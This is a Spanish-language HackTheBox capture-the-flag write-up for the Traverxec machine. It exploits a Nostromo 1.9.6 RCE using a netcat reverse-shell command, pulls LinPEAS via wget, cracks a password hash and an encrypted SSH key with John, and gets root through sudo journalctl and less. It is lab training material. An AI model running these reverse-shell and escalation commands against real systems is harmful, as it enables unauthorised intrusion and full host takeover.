🟢Traverxec

Write-up de la máquina Traverxec de HackTheBox #writeup #walkthrough

Traverxec es un CTF de dificultad fácil que implicaba enumerar y explotar un servidor web , Nostromo. Aprovecharé una vulnerabilidad RCE para obtener un shell en el host. Solo pude encontrar un script Metasploit, pero era una solicitud HTTP simple que podía recrear con curl. Luego pasaré a los archivos privados de los usuarios en función de su uso de un directorio de inicio web en el servidor. Para obtener la raíz, explotaré sudo usado con journalctrl.

Enumeración

NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.

nmap -p- --open -vvv -Pn -n --min-rate 2000 10.10.10.165

Hay dos servicios disponibles. Vamos ahora con el escaneo profundo.

nmap -p22,80 -sV -vv 10.10.10.165

Dos servicios abiertos:

  • Puerto 22 -> OpenSSH 7.9

  • Puerto 80 -> Servidor Nostromo 1.9.6

Enumeración web

Vamos a comnezar viendo el contenido del puerto 80. En esta ocasión, no hay nombre de dominio.

El sitio web es una plantilla de página web estática simple. Hay un formulario de contacto en la parte inferior de la página, pero no funciona. No encontramos ningún punto que pueda ser potencialmente vulnerable.

Explotando RCE en servidor Nostromo

Vamos a la base de datos Exploit-DB (searchsploit), vemos que hay un exploit que coincide con la versión exacta que vimos anteriormente en el escaneo de nmap.

Vemos un RCE para una versión de Nostromo que coincide con la de la máquina objetivo.

Descargamos el exploit en nuestra máquina.

Ejecutamos el exploit. Al mismo debemos poner un oyente nc en el puerto 4444.

python 47837.py 10.10.10.165 80 "nc 10.10.16.11 4444 -e /bin/bash"

Nos dará error. Debemos eliminar la línea cve2019_16278.py. Además, debemos ejecutarlo con Python2.

python2 47837.py 10.10.10.165 80 "nc 10.10.16.11 4444 -e /bin/bash"

Generamos una terminal interactiva.

script /dev/null -c bash

Una vez, conseguida la terminal interactiva, vamos a subir un ejecutable de LinPEAS para hacer enumeración de la máquina objetivo. Para ello, creamos un servidor HTTP con Python.

python -m http.server 80
wget http://10.10.16.11/nombre_archivo

Elevación de usuario www-data a usuario David

Ejecutamos LinPEAS. Después de un momento, encontramos unas credenciales que pueden ser interesantes.

Vamos a copiar esta credencial a un archivo para poder descifrarla con John.

john password.txt --wordlist=diccionario

La credencial es david:Nowonly4me

Esta credencial no funciona vía ssh ni con el comando su. Sin embargo, si vemos al archivo de configuración donde obtuvimos el hash de la contraseña, encontramos en la parte inferior la ruta "public_www".

Si buscamos información sobre Nostromo, vemos que si la configuración está habilitada dentro del archivo de configuración, los usuarios pueden tener su propio directorio personal accesible a través del servidor web. De acuerdo con la documentación, esto se hace a través del servidor web. Sabemos que david es un usuario válido, así que podemos probar su directorio./~username

Además, "Puede restringir el acceso dentro de los directorios de inicio a un solo subdirectorio definiéndolo a través de la opción homedirs_public". Dado que podemos ver el archivo de índice a través del navegador web, sabemos que tenemos acceso de lectura al directorio web de David. En lugar de aplicar fuerza bruta a los archivos a través del servidor web, podemos navegar hasta ese directorio homedirs_public a través de nuestro shell inverso para buscar más archivos. Mirando el archivo nhttpd.conf, vemos que homedirs_public está configurado en public_www, lo que significa que '/home/david/public_www' debería ser legible para todo el mundo.

Buscamos el directorio '/home/david/public_www'.

La carpeta /home/david/public_wwwcontiene una carpeta protected-file-areaprotegida por .htaccessy que contiene un archivo llamado backup-ssh-identity-files.tgz. Lo copiamos a la /tmpcarpeta y extraemos el contenido.

¡Y obtenemos la clave privada SSH del usuario david! Lo copiamos localmente y vemos que la clave está cifrada.

Creamos un archivo id_rsa, lo convertimos a formato para poder usar John y descifrar la contraseña. Posteriormente, nos conectamos como usuario David a través de SSH.

ssh2john id_rsa > ssh.txt
john ssh.txt --wordlist=diccionario
chmod 600 id_rsa
ssh -i id_rsa david@10.10.10.165

Y ya podremos buscar la flag user.txt

Elevación de privilegios Root

Hay una carpeta bin en lel directorio de david. Contiene un archivo de banner y un archivo de logs del servidor Nostromo.

Algo interesante que podemos ver en la segunda imagen es que David puede ejecutar "sudo /usr/bin/journalctl -n5 -unostromo.service" sin contraseña. En GTFOBINS descubrimos que journalctl está usando less para mostrar la salida, por lo que podemos pasar de eso a root shell.

Mirando gtfobins hay una sección sobre cómo escalar privilegios usando journalctl. Sin embargo, en mi caso, esto no se activó automáticamente, así que tuve que activarlo manualmente. Para hacerlo, ejecute los siguientes comandos.

stty rows 2
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

Y ya tendríamos terminada el CTF Traverxec.

Last updated